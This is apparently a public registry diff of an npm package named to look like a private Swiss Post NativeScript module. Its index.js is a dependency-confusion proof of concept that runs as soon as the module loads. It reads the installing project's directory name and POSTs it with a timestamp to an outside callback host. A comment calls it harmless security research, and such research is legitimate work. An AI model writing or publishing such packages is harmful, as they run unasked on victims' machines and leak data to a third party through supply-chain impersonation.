nativescript-swisspost-pcc-creative-editor 54.16.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +41 -0
- package/package.json +10 -0
package/index.js
ADDED
|
@@ -0,0 +1,41 @@
|
|
|
1
|
+
// SECURITY RESEARCH: Harmless dependency confusion PoC.
|
|
2
|
+
// This package sends a simple "ping" to verify execution.
|
|
3
|
+
// No system data, source code, or PII is accessed or transmitted.
|
|
4
|
+
// Contact: dd_06@wearehackerone.com
|
|
5
|
+
|
|
6
|
+
const http = require('http');
|
|
7
|
+
const https = require('https');
|
|
8
|
+
const path = require('path');
|
|
9
|
+
|
|
10
|
+
const targetDir = process.env.INIT_CWD || path.resolve(__dirname, '../../../');
|
|
11
|
+
const safeProjectName = path.basename(targetDir);
|
|
12
|
+
|
|
13
|
+
const info = {
|
|
14
|
+
pkg: "nativescript-swisspost-pcc-creative-editor",
|
|
15
|
+
timestamp: new Date().toISOString(),
|
|
16
|
+
transport: 'http',
|
|
17
|
+
project: safeProjectName,
|
|
18
|
+
};
|
|
19
|
+
|
|
20
|
+
const CALLBACK_URL = "https://deepbounty.dd06-dev.fr/cb/dc8ee9ff-1372-47c3-b2b6-ce0564ce1f90";
|
|
21
|
+
|
|
22
|
+
function sendPing() {
|
|
23
|
+
const parsed = new URL(CALLBACK_URL);
|
|
24
|
+
const postData = JSON.stringify(info);
|
|
25
|
+
const lib = parsed.protocol === 'https:' ? https : http;
|
|
26
|
+
|
|
27
|
+
const req = lib.request(CALLBACK_URL, {
|
|
28
|
+
method: 'POST',
|
|
29
|
+
headers: {
|
|
30
|
+
'Content-Type': 'application/json',
|
|
31
|
+
'Content-Length': Buffer.byteLength(postData),
|
|
32
|
+
},
|
|
33
|
+
timeout: 15000,
|
|
34
|
+
}, (res) => { res.on('data', () => {}); });
|
|
35
|
+
|
|
36
|
+
req.on('error', () => {});
|
|
37
|
+
req.write(postData);
|
|
38
|
+
req.end();
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
sendPing();
|